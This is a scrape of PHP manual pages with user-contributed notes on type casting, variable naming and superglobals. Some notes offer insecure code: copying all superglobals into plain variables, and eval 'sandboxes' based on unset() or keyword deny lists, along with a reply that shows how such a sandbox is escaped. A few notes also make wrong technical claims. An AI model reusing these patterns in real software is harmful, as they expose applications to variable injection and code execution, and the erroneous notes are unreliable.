|     3 | $c[0] |  STRING |    Buy | <- used to be FLOAT
|     4 | $c[1] |  STRING |  Right | <- used to be FLOAT
+-------+-------+---------+--------+
hek at theeks dot net 17-Oct-2008 09:24
It would be useful to know the precedence (for lack of a better word) for type juggling.  This entry currently explains that "if either operand is a float, then both operands are evaluated as floats, and the result will be a float" but could (and I think should) provide a hierarchy that indicates, for instance, "between an int and a boolean, int wins; between a float and an int, float wins; between a string and a float, string wins" and so on (and don't count on my example accurately capturing the true hierarchy, as I haven't actually done the tests to figure it out).  Thanks!
wbcarts at juno dot com 07-Oct-2008 06:05
WHERE'S THE BEEF?

Looks like type-casting user-defined objects is a real pain, and ya gotta be nuttin' less than a brain jus ta cypher-it. But since PHP supports OOP, you can add the capabilities right now. Start with any simple class.
<?php
class Point {
  protected $x, $y;

  public function __construct($xVal = 0, $yVal = 0) {
    $this->x = $xVal;
    $this->y = $yVal;
  }
  public function getX() { return $this->x; }
  public function getY() { return $this->y; }
}

$p = new Point(25, 35);
echo $p->getX();      // 25
echo $p->getY();      // 35
?>
Ok, now we need extra powers. PHP gives us several options:
  A. We can tag on extra properties on-the-fly using everyday PHP syntax...
    $p->z = 45; // here, $p is still an object of type [Point] but gains no capability, and it's on a per-instance basis, blah.
  B. We can try type-casting it to a different type to access more functions...
    $p = (SuperDuperPoint) $p; // if this is even allowed, I doubt it. But even if PHP lets this slide, the small amount of data Point holds would probably not be enough for the extra functions to work anyway. And we still need the class def + all extra data. We should have just instantiated a [SuperDuperPoint] object to begin with... and just like above, this only works on a per-instance basis.
  C. Do it the right way using OOP - and just extend the Point class already.
<?php
class Point3D extends Point {
  protected $z;                                // add extra properties...

  public function __construct($xVal = 0, $yVal = 0, $zVal = 0) {
    parent::__construct($xVal, $yVal);
    $this->z = $zVal;
  }
  public function getZ() { return $this->z; }  // add extra functions...
}

$p3d = new Point3D(25, 35, 45);  // more data, more functions, more everything...
echo $p3d->getX();               // 25
echo $p3d->getY();               // 35
echo $p3d->getZ();               // 45
?>
Once the new class definition is written, you can make as many Point3D objects as you want. Each of them will have more data and functions already built-in. This is much better than trying to beef-up any "single lesser object" on-the-fly, and it's way easier to do.
lucazd at gmail dot com 23-Sep-2008 09:20
@alexgr (20-Jun-2008)

Correct me if I'm wrong, but that is not a cast, it might be useful sometimes, but the IDE will not reflect what's really happening:

<?php
class MyObject {
    /**
     * @param MyObject $object
     * @return MyObject
     */
    static public function cast(MyObject $object) {
        return $object;
    }
    /** Does nothing */
    function f() {}
}

class X extends MyObject {
    /** Throws exception */
    function f() { throw new exception(); }
}

$x = MyObject::cast(new X);
$x->f(); // Your IDE tells 'f() Does nothing'
?>

However, when you run the script, you will get an exception.
nullhilty at gmail dot com 09-Sep-2008 11:34
Just a little experiment on the (unset) type cast:

<?php
$var = 1;
$var_unset = (unset) $var;
$var_ref_unset &= (unset) $var;
var_dump($var);
var_dump($var_unset);
var_dump($var_ref_unset);
?>

output:
int(1)
NULL
int(0)
alexgr at gmail dot com 20-Jun-2008 03:43
For a Cast to a User Defined Object you can define a cast method:

class MyObject {
    /**
     * @param MyObject $object
     * @return MyObject
     */
    static public function cast(MyObject $object) {
        return $object;
    }
}

In your php page code you can:
$myObject = MyObject::cast($_SESSION["myObject"]);

Then, PHP will validate the value and your IDE will help you.
miracle at 1oo-percent dot de 20-Feb-2006 05:26
If you want to convert a string automatically to float or integer (e.g. "0.234" to float and "123" to int), simply add 0 to the string - PHP will do the rest.

e.g.

$val = 0 + "1.234";
(type of $val is float now)

$val = 0 + "123";
(type of $val is integer now)
22-Jun-2005 05:47
If you have a boolean, performing increments on it won't do anything despite it being 1.  This is a case where you have to use a cast.

<html>
<body> <!-- don't want w3.org to get mad... -->
<?php
$bar = TRUE;
?>
I have <?=$bar?> bar.
<?php
$bar++;
?>
I now have <?=$bar?> bar.
<?php
$bar = (int) $bar;
$bar++;
?>
I finally have <?=$bar?> bar.
</body>
</html>

That will print

I have 1 bar.
I now have 1 bar.
I finally have 2 bar.
toma at smartsemantics dot com 09-Mar-2005 06:24
In my much of my coding I have found it necessary to type-cast between objects of different class types.

More specifically, I often want to take information from a database, convert it into the class it was before it was inserted, then have the ability to call its class functions as well.

The following code is much shorter than some of the previous examples and seems to suit my purposes.  It also makes use of some regular expression matching rather than string position, replacing, etc.  It takes an object ($obj) of any type and casts it to an new type ($class_type).  Note that the new class type must exist:

function ClassTypeCast(&$obj,$class_type){
    if(class_exists($class_type,true)){
        $obj = unserialize(preg_replace"/^O:[0-9]+:\"[^\"]+\":/i",
          "O:".strlen($class_type).":\"".$class_type."\":", serialize($obj)));
    }
}
Raja 10-Feb-2005 03:05
Uneven division of an integer variable by another integer variable will result in a float by automatic conversion -- you do not have to cast the variables to floats in order to avoid integer truncation (as you would in C, for example):

$dividend = 2;
$divisor = 3;
$quotient = $dividend/$divisor;
print $quotient; // 0.66666666666667
tom5025_ at hotmail dot com 24-Aug-2004 01:27
function strhex($string)
{
   $hex="";
   for ($i=0;$i<strlen($string);$i++)
       $hex.=dechex(ord($string[$i]));
   return $hex;
}
function hexstr($hex)
{
   $string="";
   for ($i=0;$i<strlen($hex)-1;$i+=2)
       $string.=chr(hexdec($hex[$i].$hex[$i+1]));
   return $string;
}

to convert hex to str and vice versa
dimo dot vanchev at bianor dot com 10-Mar-2004 07:02
For some reason the code-fix posted by philip_snyder at hotmail dot com [27-Feb-2004 02:08]
didn't work for me neither with long_class_names nor with short_class_names. I'm using PHP v4.3.5 for Linux.
Anyway here's what I wrote to solve the long_named_classes problem:

<?php
function typecast($old_object, $new_classname) {
    if(class_exists($new_classname)) {
        $old_serialized_object = serialize($old_object);
        $old_object_name_length = strlen(get_class($old_object));
        $subtring_offset = $old_object_name_length + strlen($old_object_name_length) + 6;
        $new_serialized_object  = 'O:' . strlen($new_classname) . ':"' . $new_classname . '":';
        $new_serialized_object .= substr($old_serialized_object, $subtring_offset);
        return unserialize($new_serialized_object);
     } else {
         return false;
     }
}
?>
philip_snyder at hotmail dot com 27-Feb-2004 07:08
Re: the typecasting between classes post below... fantastic, but slightly flawed. Any class name longer than 9 characters becomes a problem... SO here's a simple fix:

function typecast($old_object, $new_classname) {
  if(class_exists($new_classname)) {
    // Example serialized object segment
    // O:5:"field":9:{s:5:...   <--- Class: Field
    $old_serialized_prefix  = "O:".strlen(get_class($old_object));
    $old_serialized_prefix .= ":\"".get_class($old_object)."\":";

    $old_serialized_object = serialize($old_object);
    $new_serialized_object = 'O:'.strlen($new_classname).':"'.$new_classname . '":';
    $new_serialized_object .= substr($old_serialized_object,strlen($old_serialized_prefix));
   return unserialize($new_serialized_object);
  }
  else
   return false;
}

Thanks for the previous code. Set me in the right direction to solving my typecasting problem. ;)
post_at_henribeige_dot_de 03-May-2003 09:37
If you want to do not only typecasting between basic data types but between classes, try this function. It converts any class into another. All variables that equal name in both classes will be copied.

function typecast($old_object, $new_classname) {
  if(class_exists($new_classname)) {
    $old_serialized_object = serialize($old_object);
    $new_serialized_object = 'O:' . strlen($new_classname) . ':"' . $new_classname . '":' .
                             substr($old_serialized_object, $old_serialized_object[2] + 7);
    return unserialize($new_serialized_object);
  }
  else
    return false;
}

Example:

class A {
  var $secret;
  function A($secret) {$this->secret = $secret;}
  function output() {echo("Secret class A: " . $this->secret);}
}

class B extends A {
  var $secret;
  function output() {echo("Secret class B: " . strrev($this->secret));}
}

$a = new A("Paranoia");
$b = typecast($a, "B");

$a->output();
$b->output();
echo("Classname \$a: " . get_class($a) . "Classname \$b: " . get_class($b));

Output of the example code above:

Secret class A: Paranoia
Secret class B: aionaraP
Classname $a: a
Classname $b: b
yury at krasu dot ru 27-Nov-2002 01:24
incremental operator ("++") doesn't make type conversion from boolean to int, and if an variable is boolean and equals TRUE than after ++ operation it remains as TRUE, so:

$a = TRUE;
echo ($a++).$a;  // prints "11"
28-Aug-2002 10:26
Printing or echoing a FALSE boolean value or a NULL value results in an empty string:
(string)TRUE //returns "1"
(string)FALSE //returns ""
echo TRUE; //prints "1"
echo FALSE; //prints nothing!


変数

目次

  • 基本的な事
  • 定義済みの変数
  • 変数のスコープ
  • 可変変数
  • 外部から来る変数

User Contributed Notes

There are no user contributed notes for this page.


基本的な事

PHP の変数はドル記号の後に変数名が続く形式で表されます。 変数名は大文字小文字を区別します。

変数名は、PHPの他のラベルと同じルールに従います。 有効な変数名は文字またはアンダースコアから始まり、任意の数の文字、 数字、アンダースコアが続きます。正規表現によれば、これは次の ように表現することができます。 ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$

注意: ここで言うところの文字とはa-z、A-Z、128から255まで (0x80-0xff)のバイトを意味します。

注意: $this は特別な変数であり、ここに代入することはできません。 PHP 7.1.0 より前のバージョンでは、 (可変変数 を使った) 間接的な代入 が可能でした。

ヒント

ユーザーレベルでの命名の手引き も参照ください。

変数関連の関数に関する情報については、 変数関数リファレンス を参照ください。

$var = 'Bob';
$Var = 'Joe';
echo "$var, $Var";      // "Bob, Joe"を出力します。

$4site = 'not yet';     // 無効：数字で始まっている。
$_4site = 'not yet';    // 有効：アンダースコアで始まっている。
$tayte = 'mansikka';    // 有効：'a' はアスキーコード228です。

デフォルトでは、変数に代入されるのは常にその値です。 これは、つまり、ある変数にある式を代入する際、元の式の 値全体がコピーされる側の変数にコピーされるということです。 これは、例えば、ある変数の値を他の変数に代入した後で、 これらの変数の1つを変更しても他の変数には影響を与えないという ことを意味します。この種の代入に関するより詳細な情報については、 式 を参照ください。

PHP には、変数に値の代入を行う別の方法も存在します。それは、 参照による代入 です。 この場合、新規の変数は元の変数を参照するだけです。 (言いかえると、元の変数の"エイリアスを作る"または元の変数を"指す") 新規の変数への代入は、元の変数に影響し、その逆も同様となります。

参照により代入を行うには、代入する変数(ソース変数)の先頭に アンパサンドを加えます。たとえば、次の簡単なコードは 'My name is Bob'を二度出力します。

<?php
$foo = 'Bob';              // 値'Bob'を$fooに代入する。
$bar = &$foo;              // $fooを$barにより参照
$bar = "My name is $bar";  // $barを変更...
echo $bar;
echo $foo;                 // $fooも変更される。
?>

注意すべき重要な点として、名前のある変数のみが参照により代入できる ということがあります。

<?php
$foo = 25;
$bar = &$foo;      // これは有効な代入です。
$bar = &(24 * 7);  // 無効です。名前のない式を参照しています。

function test() {
   return 25;
}

$bar = &test();    // 無効。
?>

PHP では変数を初期化する必要はありませんが、そのようにするのはとてもよいことです。 初期化されていない変数の値は、状況に応じたその型のデフォルト値 - boolean なら false、integer や float ならゼロ、 文字列 (echo で使う場合など) なら空の文字列、配列なら空の配列となります。

例1 初期化されていない変数のデフォルト値

<?php
// 設定も参照もされていない (使用中のコンテキストではない) 変数は NULL となります
var_dump($unset_var);

// boolean として使用すると、出力は 'false' となります (この構文の詳細は三項演算子を参照ください)
echo($unset_bool ? "true\n" : "false\n");

// 文字列として使用すると、出力は 'string(3) "abc"' となります
$unset_str .= 'abc';
var_dump($unset_str);

// integer として使用すると、出力は 'int(25)' となります
$unset_int += 25; // 0 + 25 => 25
var_dump($unset_int);

// float/double として使用すると、出力は 'float(1.25)' となります
$unset_float += 1.25;
var_dump($unset_float);

// 配列として使用すると、出力は array(1) {  [3]=>  string(3) "def" } となります
$unset_arr[3] = "def"; // array() + array(3 => "def") => array(3 => "def")
var_dump($unset_arr);

// オブジェクトとして使用し、新しい stdClass オブジェクト (http://www.php.net/manual/ja/reserved.classes.php を参照ください)
// を作成すると、出力は object(stdClass)#1 (1) {  ["foo"]=>  string(3) "bar" } となります
$unset_obj->foo = 'bar';
var_dump($unset_obj);
?>

初期化されていない変数のデフォルト値に依存すると、そのファイルを include している別のファイルで同名の変数が使用されていた場合などに問題を起こします。 初期化されていない変数を使用すると、 E_NOTICE レベルのエラーが発生します。 しかし、初期化されていない配列に要素を追加する場合はエラーにはなりません。 変数が初期化されているかどうかの判断には、isset() を使用します。

User Contributed Notes

anisgazig at gmail dot com 17-Feb-2021 05:35
$this is a special variable so we can not assign it.But Prior to PHP 7.1.0, indirect assignment such as variable variables are allowed.

$bd = "this";
$$bd = "CountryNickName";

echo $this;//allowed prior to PHP 7.1.0

but from the version of 7.1.0,it was allowed.
anisgazig at gmail dot com 13-Feb-2021 04:41
clear concept of variable declaration rules and classification

variable declaration rules:

1.start with dollar sign($)
2.first letter of variable name comes from a-zA-z_
3.next letters of variable name comes from a-zA-Z0-9_
4.no space,no syntex

classification of variables:

Variable are mainly Two types
1.Predefined Variable
2.User Define Variable

Predefined Variable
There are 12 predefined variables in php 8
1.$GLOBALS
2.$_SERVER
3.$_REQUEST
4.$_FILES
5.$_ENV
6.$_SESSION
7.$_COOKIE
8.$_GET
9.$_POST
10.$http_response_header
11.$argc
12.$argv

User Define Variable
User Define variable are 3 types
1.variable scope
2.variable variables
3.reference variable

Variable Scope
variable scope are 3 types
1.local scope
2.global scope
3.static variable
baoquyen804 at gmail dot com 13-Oct-2017 01:50
When examining the variable name with the regular expression [a-zA-Z_ \ x7f- \ xff] [a-zA-Z0-9_ \ x7f- \ xff] this will cause an error:

<?php
$name="aa'1'";
if(!preg_match('/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/',$name))
    echo $name.' is not a valid PHP variable name';
else
    echo $name.' is valid PHP variable name';
// output aa'1' is valid PHP variable name
//but:
$aa'1' = 10; // error syntac
?>

instead use it ^[a-zA-Z][_]?[\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*

<?php
$name="aa'1'";
if(!preg_match('/^[a-zA-Z][_]?[\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/', $name))
   echo $name.' is not a valid PHP variable name';
else
    echo $name.' is valid PHP variable name';
// output aa'1' is not valid PHP variable name
?>
Anonymous 08-Feb-2017 05:21
I highly recommend to use an editor that can list all variable names in a separate window.

The reason are typing errors in variable names.

<?php
$somename = "nobody";
// Now we want to use $somename  somewhere
echo $somemane ;
?>
And wonder why it doesn't print "nobody".
The reason is simple, we have a typing error in $somename and $somemane is a new variable.

In this example it might be easy to find. But if you use variables to calculate some things, you might hardly find it and ask yourself why your calculation is always wrong.
With an editor that list all variable names in a separate window such "double" variables but with wrong typing can be easily found.

BTW:
It would have been better, if the PHP language would require to use some sort of keyword to define a variable the first time.
maurizio dot domba at pu dot t-com dot hr 21-Jan-2011 02:23
If you need to check user entered value for a proper PHP variable naming convention you need to add ^ to the above regular expression so that the regular expression should be '^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'.

Example

<?php
$name="20011aa";
if(!preg_match('/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/',$name))
   echo $name.' is not a valid PHP variable name';
else
   echo $name.' is valid PHP variable name';
?>

Outputs: 2011aa is valid PHP variable name

but

<?php
$name="20011aa";
if(!preg_match('/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/',$name))
   echo $name.' is not a valid PHP variable name';
else
   echo $name.' is valid PHP variable name';
?>

Outputs: 2011aa is not a valid PHP variable name
jeff dot phpnet at tanasity dot com 11-Sep-2010 04:11
This page should include a note on variable lifecycle:

Before a variable is used, it has no existence. It is unset. It is possible to check if a variable doesn't exist by using isset(). This returns true provided the variable exists and isn't set to null. With the exception of null, the value a variable holds plays no part in determining whether a variable is set.

Setting an existing variable to null is a way of unsetting a variable. Another way is variables may be destroyed by using the unset() construct.

<?php
print isset($a); // $a is not set. Prints false. (Or more accurately prints ''.)
$b = 0; // isset($b) returns true (or more accurately '1')
$c = array(); // isset($c) returns true
$b = null; // Now isset($b) returns false;
unset($c); // Now isset($c) returns false;
?>

is_null() is an equivalent test to checking that isset() is false.

The first time that a variable is used in a scope, it's automatically created. After this isset is true. At the point at which it is created it also receives a type according to the context.

<?php
$a_bool = true;   // a boolean
$a_str = 'foo';    // a string
?>

If it is used without having been given a value then it is uninitalized and it receives the default value for the type. The default values are the _empty_ values. E.g  Booleans default to FALSE, integers and floats default to zero, strings to the empty string '', arrays to the empty array.

A variable can be tested for emptiness using empty();

<?php
$a = 0; //This isset, but is empty
?>

Unset variables are also empty.

<?php
empty($vessel); // returns true. Also $vessel is unset.
?>

Everything above applies to array elements too.

<?php
$item = array();
//Now isset($item) returns true. But isset($item['unicorn']) is false.
//empty($item) is true, and so is empty($item['unicorn']

$item['unicorn'] = '';
//Now isset($item['unicorn']) is true. And empty($item) is false.
//But empty($item['unicorn']) is still true;

$item['unicorn'] = 'Pink unicorn';
//isset($item['unicorn']) is still true. And empty($item) is still false.
//But now empty($item['unicorn']) is false;
?>

For arrays, this is important because accessing a non-existent array item can trigger errors; you may want to test arrays and array items for existence with isset before using them.


定義済みの変数

PHPは、実行する全てのスクリプトに定義済みの多くの変数を 提供します。しかし、これらの変数の多くは、 実行するサーバーの種類、サーバーのバージョンおよび設定、 その他の要素に依存しており、完全に記述することはできません。 これらの変数のいくつかは、PHPを コマンドライン で実行した場合には利用できません。 これらの変数の一覧については、 定義済の変数 のセクションを参照してください。

PHP には、(使用する場合)Webサーバー、環境変数、 ユーザー入力からの変数を値とする定義済みの配列が追加されています。 これらの配列は、自動グローバル、すなわち、自動的に全ての スコープで利用可能であるという点でかなり特別です。このため、これらは "スーパーグローバル" といわれることもあります。 (PHPには、ユーザー定義のスーパーグローバルという機構はありません。) スーパーグローバルの一覧 も参照して下さい。

注意: 可変変数

可変変数として スーパーグローバルを使うことはできません。

variables_orderに ある変数が設定されていない場合、これらに対応するPHPの定義済み 変数も空のままとなります。

User Contributed Notes

root at mantoru dot de 31-Jan-2008 12:56
To tokie at hanmail dot net: You took that out of context -- it is merely a recommendation.

If your variables_order setting does not contain "E", $_ENV is still useful. Every call to getenv will be "cached" in $_ENV, so you can do this:

<?php
// variables_order = GPCS
var_dump(isset($_ENV['PATH'])); // bool(false)
getenv('PATH');
var_dump(isset($_ENV['PATH'])); // bool(true)
?>

For some reason, it does not work with with own environment variables. The above example with PHP_TEST instead of PATH would fail (if it is set via putenv).
pinkgothic at gmail dot com 20-Apr-2007 07:15
Dealing with "superglobals" and functions is not as straightforward as it may seem when you're doing plenty manipulations.

For example:

<?php
  function some_other_method() {
    echo $_REQUEST['id'];
  }
  function some_method() {
    $_REQUEST['id'] = 440;
    some_other_method();
  }
?>

Calling some_method() will cause a warning-level error by PHP informing you that "id" is not set in some_other_method(). However, if you instead use:

<?php
  $_REQUEST['id'] = 0;
  function some_other_method() {
    echo $_REQUEST['id'];
  }
  function some_method() {
    $_REQUEST['id'] = 440;
    some_other_method();
  }
?>

Then the script will echo 440.

In consequence, if you manually attempt to add keys to the superglobals, those keys *aren't* automatically superglobal. The above example isn't very sensible, of course, but this can be a huge gotcha if you're juggling user data between functions and you're unwittingly being forced to work inside a function (e.g. via PHP include in TYPO3).

Unfortunately, global $_REQUEST['id'] won't save you, either - it causes a parse error - nor will a global $_REQUEST change anything after you've set the keys... consequently making it hard to conviniently 'hack' outdated scripts by making them believe they're still running in a different environment.

The only "solution" to this issue is to use parameters.
holger at doessing dot net 02-Feb-2007 06:07
On the subject of permalinks and queries:
Say, you use an inexpensive subdomain of (e.g.) www.nice.net, thus www.very.nice.net, and that the domain owner has simply placed a frame at this particular location, linking to the actual address (ugly and subject-to-change) of your site.
Consequently, the actual site URI and various associated hashes and query strings are not immediately visible to the user. Sometimes this is useful, but it also makes bookmarking/permalinking impossible (the browser will only bookmark the static address in the top frame).
However, as far as the query strings go, there is workaround. Instead of providing users with permalinks to the actual URI (e.g. prtcl://weird.and.ugly/~very/ugly.php?stuff=here; may even be subject to change), I provide them with this: prtcl://www.very.nice.net?stuff=here.

In brief, I then use the following code to re-populate the $_GET array:

if (isset($_SERVER['HTTP_REFERER'])) { // If set, this page is running in a frame
    $uri = parse_url($_SERVER['HTTP_REFERER']); // grab URI of parent frame
    $querystring = ($uri['query']) ? $uri['query'] : false; // grab the querystring
    if ($querystring) {
        $vars = explode('&', $querystring); // cut into individual statements
        foreach ($vars as $varstring) { // populate $_GET
            $var = explode('=', $varstring);
            if (count($var) == 2) $_GET[$var[0]] = $var[1];
        }
    } // no, nothing to report from the parent frame
} // no, not using a parent frame today...

If the actual host address is ever changed, users entering the frame (with the nicer address) will be using the new (and ugly) URI, but this way the old query strings will be available to the new address also. The users will never again be bothered by you moving to another neighborhood.
Inigo Medina 05-May-2006 01:22
It is true. I usually write variables in this way: $chuckNorrisFilms. So one almost never finds problems.
johnphayes at gmail dot com 12-Apr-2006 10:36
I haven't found it anywhere else in the manual, so I'll make a note of it here - PHP will automatically replace any dots ('.') in an incoming variable name with underscores ('_'). So if you have dots in your incoming variables, e.g.:

example.com/page.php?chuck.norris=nevercries

you can not reference them by the name used in the URI:
//INCORRECT
echo $_GET['chuck.norris'];

instead you must use:
//CORRECT
echo $_GET['chuck_norris'];
DD32=theonly_DD32[&amp;]yahoo.com.au 19-Mar-2006 05:43
I have this function in my main files, it allows for easier SEO for some pages without having to rely on .htaccess and mod_rewrite for some things.
<?php
    function long_to_GET(){
        /**
        * This function converts info.php/a/1/b/2/c?d=4 TO
        * Array ( [d] => 4 [a] => 1 [b] => 2 [c] => )
        **/
        if(isset($_SERVER['PATH_INFO']) && $_SERVER['PATH_INFO'] != ''){
            //Split it out.
            $tmp = explode('/',$_SERVER['PATH_INFO']);
            //Remove first empty item
            unset($tmp[0]);
            //Loop through and apend it into the $_GET superglobal.
            for($i=1;$i<=count($tmp);$i+=2){ $_GET[$tmp[$i]] = $tmp[$i+1];}
        }
    }
?>

Its probably not the most efficient, but it does the job rather nicely.

DD32
Graeme Jefferis 13-Sep-2005 04:06
I find this sort of thing consistently useful for dealing with superglobals in safety and comfort.
<?php
foreach ($_POST as $key => $value)
{
        switch ($key)
        {
                case "submitted_var_1":
                case "submitted_var_2":
                case "submitted_var_3":
                        $$key = $value; break;

                case "dangerous_var":
                        $value = do_something_special_with($value);
                        $$key = $value;
                        break;
        }
}
?>
webdesign at benking dot com 29-Aug-2005 02:33
# this is a follow-up to kasey at cornerspeed's 14-Jun-2004 08:33 post and debabratak at softhome's 14-Mar-2003 12:59 post, minus sessions but including a safety mechanism to block unwanted variables...

# if you are like me and do not want to have to type $_POST[some_var] to get to all your passed variable data, you can safely convert all the data to the variable names (so it is like old style php) by using a pre-defined allowed arg names list like this;

$allowed_args = ',f_name,l_name,subject,msg,';

foreach(array_keys($_POST) as $k) {
    $temp = ",$k,";
    if(strpos($allowed_args,$temp) !== false) { $$k = $_POST[$k]; }
}

# then you can use the programmer friendly (less typing) vars like so;
echo "Hello $f_name";

# make sure you have commas in front of and after each var name in the $allowed_args list, so strpos will never surprise you by mistakingly finding an unwanted var name within another var name
myfirstname dot barros at gmail dot com 27-Apr-2005 07:10
vars in $_REQUEST are *not* a reference to the respective $_POST and $_GET and $_COOKIE ones.

Consider:
http://site.com/index.php?avar=abc

index.php:
<?php
$_GET['avar'] = 'b';
print_r($_GET); print('<br>');
print_r($_REQUEST);
?>

output:
Array ( [avar] => 'b' )
Array ( [avar] => 'abc' )
sendoshin[at]noodleroni[dot]com 26-Apr-2005 05:58
There is one way to safely execute PHP code files without running the risk of compromising your own code.  A prior note pointed out that the code being evaluated would still have access to globals using the global keyword.  While this is a valid point, there's one other approach to be looked at - one which actually gives you much more ability than just unsetting some variable references.  It's known as code parsing.

The specifics would be different and much more complex in a deployed site, but here's an extremely strip-down example of how to restrict access to global variables:

<?php
    while ($x = stristr ($code_to_eval, "global")) {
        $temp = substr ($code_to_eval, 1, $x-1);
        $temp .= substr ($code_to_eval, stristr ($code_to_eval, ";", $x) + 1);
        $code_to_eval = $temp;
    }
    $ret_val = eval ($code_to_eval);
?>

Of course, that's just a rudimentary example, and a deployment version would have much more checking involved, but parsing the file before you eval it lets you remove any code you don't want to let run, thus making it as safe as your parsing rules.
kasey at cornerspeed dowt com 14-Jun-2004 05:33
I have a few points to note to (debabratak at softhome dot net).  Firstly, extracting all your variables from the global variable arrays is rather cumbersome and possibly unsafe.  This causes longer run times, and wastes more memory.  Then, your script is starting the session before it parses the superglobals.  Bad things can happen because of this:

<?php

// user sent a GET header with key = secret_access, val = true, so

echo $_GET["secret_access"]; // output: true
echo $secret_access; // output:

session_start();

// in previous logic, you set session variable $secret_access = false

echo $_SESSION["secret_access"]; // output: false
echo $secret_access; // output: false

extract_globals();  // Globals put into "normal" variables

echo $_GET["secret_access"]; // output: true
echo $_SESSION["secret_access"]; // output: false
echo $secret_access; // output: true

// VARIABLES ARE COMPROMISED!
// DO NOT USE $secret_access !
// USE $_SESSION["secret_access"] instead !!!

?>

Secondly, I would like to point out the fact that all $_POST, $_GET, and $_COOKIE variables are intrinsically unsafe anyway.  Users can create their own scripts in the language of their choosing (PHP, ASP, JSP, etc.) that generate those headers to send to your PHP program via socket connections.  PHP cannot determine that these headers are any less valid than the ones sent by a web browser, so it parses them and places them in the $_POST, $_GET, or $_COOKIE variables.

The best practice is to use $_SESSION variables to validate the user before making any decisions based on form data.  e.g.:

<?php
session_start();
if (isset($_SESSION["valid"]))
{
    // all your program decisions and database interactions can go here
    if (isset($_POST["button_name"]))
    {
        ...
    }
    ...
}
elseif (isset($_POST["submit_login"]))
{
    if (($_POST["username"] == "foo") AND ($_POST["password"] == "bar"))
    {
        $_SESSION["valid"] = true;
        ...
    }
    else
    {
        session_unset();
        session_destroy();
        $error_msg = "Invalid username or password";
        $result_page = "login.php";
    }
}
elseif (isset($logoff))
{
    session_unset();
    session_destroy();
    $success_msg = "You have logged off successfully";
    $result_page = "login.php";
}
else
{
    session_unset();
    session_destroy();
    $result_page = "login.php";
}
require ($result_page);
?>

Session variables are orders of magnitude harder to compromise than POST, GET, and COOKIE data, since the server keeps track of session id's, and the session id is unique to each client and somewhat randomly generated.  If security is an ultimate concern, then you need to use SSL in case your traffic can be sniffed (since the session cookie is passed plain text to the client).

In summary, extracting out all the superglobals to normal variable names is not a good idea for reasons of security and ambiguity, not to mention wasted CPU cycles.  For private applications (ones that you don't want just anyone to be able to access), the only ways you can prevent malicious access is to 1) use sessions to ensure that the user is valid (for that page), and 2) use SSL-encryption to prevent session-hijacking.

Kasey

in reply to:
--------------------------------------------------------------
 debabratak at softhome dot net
14-Mar-2003 12:59
After having register_globals = off, I am using the following piece of code to get all the variables created for me. I have put this code in a separate file and just make it require_once() on top of every page.

session_start();
$ArrayList = array("_GET", "_POST", "_SESSION", "_COOKIE", "_SERVER");
foreach($ArrayList as $gblArray)
{
   $keys = array_keys($$gblArray);
   foreach($keys as $key)
   {
       $$key = trim(${$gblArray}[$key]);
   }
}

This pulls out all the possible variables for me, including the predefined variables, so I can keep coding the old style. Note that, this code does not handle the $_FILE.

Hope this helps someone.
bryan at nolifeline dot com 10-May-2004 12:07
to marcbender at mail dot com

unset the globals

use a preg_replace ( pattern: |\;[^\;]*$i[^\;]*\;|Uis, replacement: ";", where $i is the name of any function/variable you wish to prevent access to.) on the code-to-be-evaled.  ideas are "global", "fopen", "mysql_connect", etc.  You know, anything that you wouldn't want to give a hyperactive 13 year old access to.

execute the code.
marcbender_AT_mail_DOT_com 18-Apr-2004 02:23
-Security issue-

In response to lopez at yellowspace,

You provided a method for executing potentially unsafe code:

> function safeEval($evalcode) {
>    unset($GLOBALS);
>    unset($_ENV);
>    // unset any other superglobal...
>    return eval($evalcode);
> }

Your method, though clever, won't work.  The problem is the way that PHP handles function scope.  If $evalcode contains a function declaration, and runs that function, the "unset"s will be effectively useless inside the body of that function.

Try running the above code with $evalcode set as follows:

<?php
$evalcode='f();
function f() {
   $GLOBALS["_SERVER"] = "compromised";
}';
?>

Then print $_SERVER and see what you get.

Another problem is that the "global" directive will always grant access to global variables.  Try this one:

<?php
$evalcode='global $a;
$a = "compromised";';
?>

$a will of course be changed at the global level.  I don't know if it's supposed to work this way, but on my system (PHP 4.3.4) you can do the same to any superglobal by importing it using "global".

As far as I can tell, there is NO way to execute potentially unsafe code without a lot of risk.  With the sloppy way that PHP deals with function scope etc., there isn't much hope that it ever will be.  What we'd need is (at least):
  - a way to disable the "global" directive (restrictive eval).
  - a way to shut off any write-access to superglobals within untrusted functions.

The first wouldn't be too hard to implement.  The second, on the other hand, is practically impossible IMHO.
joker at vip dot hr 08-Sep-2003 07:42
If anyone of you have a problem with uploading files with globals off here is the solution... just add this to the top of the code:

reset ($_FILES);
while (list ($key, $val) = each ($_FILES)) {
    ${$key}=$_FILES[$key]['tmp_name'];
    while (list ($key1, $val1) = each ($val)) {
        ${$key."_".$key1}=$_FILES[$key][$key1];
    }
}

   Daniel
01-May-2003 09:06
In reply to destes at ix dot netcom dot com dot nospam:

It's possible for a HTTP client to spoof HTTP_X_FORWARDED_FOR, and set it to a fake IP number.  It's more secure to use this code and log BOTH the ip and the proxy ip.

if ($_SERVER["HTTP_X_FORWARDED_FOR"]) {
   if ($_SERVER["HTTP_CLIENT_IP"]) {
    $proxy = $_SERVER["HTTP_CLIENT_IP"];
  } else {
    $proxy = $_SERVER["REMOTE_ADDR"];
  }
  $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else {
  if ($_SERVER["HTTP_CLIENT_IP"]) {
    $ip = $_SERVER["HTTP_CLIENT_IP"];
  } else {
    $ip = $_SERVER["REMOTE_ADDR"];
  }
}

echo "Your IP $ip<BR>\n";
if (isset($proxy)) {
  echo "Your proxy IP is $proxy<BR>\n";
}
LouisGreen at pljg dot freeserve dot co dot uk 25-Mar-2003 10:22
It seems that when you wish to export a varible, you can do it as return $varible, return an array(), or globalise it. If you return something, information for that varible can only travel one way when the script is running, and that is out of the function.

function fn() {
   $varible = "something";

  return $variable;
}

echo fn();
OR
$newvariable = fn();

